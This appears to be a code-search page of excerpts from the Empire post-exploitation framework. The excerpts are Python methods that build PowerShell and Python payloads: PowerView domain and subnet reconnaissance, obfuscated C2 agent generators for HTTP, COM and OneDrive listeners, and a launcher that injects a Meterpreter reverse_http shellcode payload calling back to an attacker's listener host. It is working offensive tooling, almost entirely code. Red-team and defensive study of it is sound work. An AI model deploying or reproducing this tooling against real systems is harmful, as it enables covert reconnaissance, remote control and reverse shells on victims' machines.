示例#1
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # read in the common powerview.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"

        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        # get just the code needed for the specified function
        script = helpers.strip_powershell_comments(module_code)

        script += "\nGet-DomainOU "

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
            ) != "guid" and option.lower() != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values)

        script += "-GPLink " + str(
            params['GUID']
        ) + " | %{ Get-DomainComputer -SearchBase $_.distinguishedname"

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
            ) != "guid" and option.lower() != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values)

        outputf = params.get("OutputFunction", "Out-String")
        script += f"}} | {outputf}  | " + '%{$_ + \"`n\"};"`n' + str(
            module.name.split("/")[-1]) + ' completed!"'
        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
    def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""):
        """
        Generate the full agent code needed for communications with this listener.
        """

        if not language:
            print(helpers.color('[!] listeners/http_com generate_agent(): no language specified!'))
            return None

        language = language.lower()
        delay = listenerOptions['DefaultDelay']['Value']
        jitter = listenerOptions['DefaultJitter']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        lostLimit = listenerOptions['DefaultLostLimit']['Value']
        killDate = listenerOptions['KillDate']['Value']
        b64DefaultResponse = base64.b64encode(self.default_response().encode('UTF-8'))

        if language == 'powershell':

            f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
            code = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            code = data_util.keyword_obfuscation(code)

            # patch in the comms methods
            commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
            code = code.replace('REPLACE_COMMS', commsCode)

            # strip out comments and blank lines
            code = helpers.strip_powershell_comments(code)

            # patch in the delay, jitter, lost limit, and comms profile
            code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
            code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
            code = code.replace(
                '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
                "$Profile = \"" + str(profile) + "\"")
            code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
            # code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"')
            code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"')

            # patch in the killDate and workingHours if they're specified
            if killDate != "":
                code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
            if obfuscate:
                code = data_util.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
            return code

        else:
            print(helpers.color(
                "[!] listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module."))
示例#3
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        list_computers = params["IPs"]

        # read in the common powerview.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"

        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        # get just the code needed for the specified function
        script = helpers.strip_powershell_comments(module_code)

        script += "\n" + """$Servers = Get-DomainComputer | ForEach-Object {try{Resolve-DNSName $_.dnshostname -Type A -errorAction SilentlyContinue}catch{Write-Warning 'Computer Offline or Not Responding'} } | Select-Object -ExpandProperty IPAddress -ErrorAction SilentlyContinue; $count = 0; $subarry =@(); foreach($i in $Servers){$IPByte = $i.Split("."); $subarry += $IPByte[0..2] -join"."} $final = $subarry | group; Write-Output{The following subnetworks were discovered:}; $final | ForEach-Object {Write-Output "$($_.Name).0/24 - $($_.Count) Hosts"}; """

        if list_computers.lower() == "true":
            script += "$Servers;"

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
            ) != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values)

        outputf = params.get("OutputFunction", "Out-String")
        script += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(
            module.name.split("/")[-1]) + ' completed!"'

        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
示例#4
0
    def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri,
                       language=None):
        """
        Generate the agent code
        """

        if not language:
            print(helpers.color("[!] listeners/onedrive generate_agent(): No language specified"))
            return

        language = language.lower()
        delay = listener_options['DefaultDelay']['Value']
        jitter = listener_options['DefaultJitter']['Value']
        profile = listener_options['DefaultProfile']['Value']
        lost_limit = listener_options['DefaultLostLimit']['Value']
        working_hours = listener_options['WorkingHours']['Value']
        kill_date = listener_options['KillDate']['Value']
        b64_default_response = base64.b64encode(self.default_response().encode('UTF-8'))

        if language == 'powershell':
            f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
            agent_code = f.read()
            f.close()


            agent_code = data_util.keyword_obfuscation(agent_code)

            comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token,
                                             redirect_uri, language)
            agent_code = agent_code.replace("REPLACE_COMMS", comms_code)

            agent_code = helpers.strip_powershell_comments(agent_code)

            agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
            agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
            agent_code = agent_code.replace(
                '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
                "$Profile = \"" + str(profile) + "\"")
            agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit))
            agent_code = agent_code.replace('$DefaultResponse = ""',
                                            '$DefaultResponse = "' + b64_default_response.decode('UTF-8') + '"')

            if kill_date != "":
                agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',")

            return agent_code
示例#5
0
    def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand="", version=''):
        """
        If you want to support staging for the listener module, generate_agent must be
        implemented to return the actual staged agent code.
        """
        if not language:
            print(helpers.color('[!] listeners/http generate_agent(): no language specified!'))
            return None

        language = language.lower()
        delay = listenerOptions['DefaultDelay']['Value']
        jitter = listenerOptions['DefaultJitter']['Value']
        profile = listenerOptions['DefaultProfile']['Value']
        lostLimit = listenerOptions['DefaultLostLimit']['Value']
        killDate = listenerOptions['KillDate']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        b64DefaultResponse = base64.b64encode(self.default_response())

        if language == 'powershell':

            with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f:
                code = f.read()
            # Get the random function name generated at install and patch the stager with the proper function name
            code = data_util.keyword_obfuscation(code)
            # patch in the comms methods
            commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
            code = code.replace('REPLACE_COMMS', commsCode)

            # strip out comments and blank lines
            code = helpers.strip_powershell_comments(code)

            # patch in the delay, jitter, lost limit, and comms profile
            code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
            code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
            code = code.replace(
                '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
                "$Profile = \"" + str(profile) + "\"")
            code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
            code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"')

            # patch in the killDate and workingHours if they're specified
            if killDate != "":
                code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
            if obfuscate:
                code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
            return code

        elif language == 'python':
            if version == 'ironpython':
                f = open(self.mainMenu.installPath + "/data/agent/ironpython_agent.py")
            else:
                f = open(self.mainMenu.installPath + "/data/agent/agent.py")
            code = f.read()
            f.close()

            # patch in the comms methods
            commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
            code = code.replace('REPLACE_COMMS', commsCode)

            # strip out comments and blank lines
            code = helpers.strip_python_comments(code)

            # patch in the delay, jitter, lost limit, and comms profile
            code = code.replace('delay = 60', 'delay = %s' % (delay))
            code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
            code = code.replace(
                'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
                'profile = "%s"' % (profile))
            code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit))
            code = code.replace('defaultResponse = base64.b64decode("")',
                                'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse))

            # patch in the killDate and workingHours if they're specified
            if killDate != "":
                code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate))
            if workingHours != "":
                code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate))

            return code
        else:
            print(helpers.color(
                "[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
示例#6
0
    def generate_launcher(self,
                          encode=True,
                          obfuscate=False,
                          obfuscationCommand="",
                          userAgent='default',
                          proxy='default',
                          proxyCreds='default',
                          stagerRetries='0',
                          language=None,
                          safeChecks='',
                          listenerName=None,
                          bypasses: List[str] = None):
        """
        Generate a basic launcher for the specified listener.
        """
        bypasses = [] if bypasses is None else bypasses

        if not language or language.lower() != 'powershell':
            print(
                helpers.color(
                    '[!] listeners/http generate_launcher(): only PowerShell is supported at this time'
                ))
            return None

        if listenerName and (listenerName
                             in self.mainMenu.listeners.activeListeners):

            # extract the set options for this instantiated listener
            listenerOptions = self.mainMenu.listeners.activeListeners[
                listenerName]['options']
            host = listenerOptions['Host']['Value']

            moduleSourcePath = "%s/data/module_source/code_execution/Invoke-Shellcode.ps1" % (
                self.mainMenu.installPath)

            try:
                f = open(moduleSourcePath, 'r')
            except:
                print(
                    helpers.color(
                        "[!] Could not read module source path at: %s" %
                        (moduleSourcePath)))
                return ''
            script = f.read()
            f.close()

            msfPayload = 'windows/meterpreter/reverse_http'
            if 'https' in host:
                msfPayload += 's'

            if 'http' in host:
                parts = host.split(':')
                host = parts[1].strip('/')
                port = parts[2].strip('/')

            script = helpers.strip_powershell_comments(script)
            script += "\nInvoke-Shellcode -Payload %s -Lhost %s -Lport %s -Force" % (
                msfPayload, host, port)
            if obfuscate:
                script = data_util.obfuscate(
                    self.mainMenu.installPath,
                    script,
                    obfuscationCommand=obfuscationCommand)
            return script

        else:
            print(
                helpers.color(
                    "[!] listeners/meterpreter generate_launcher(): invalid listener name specification!"
                ))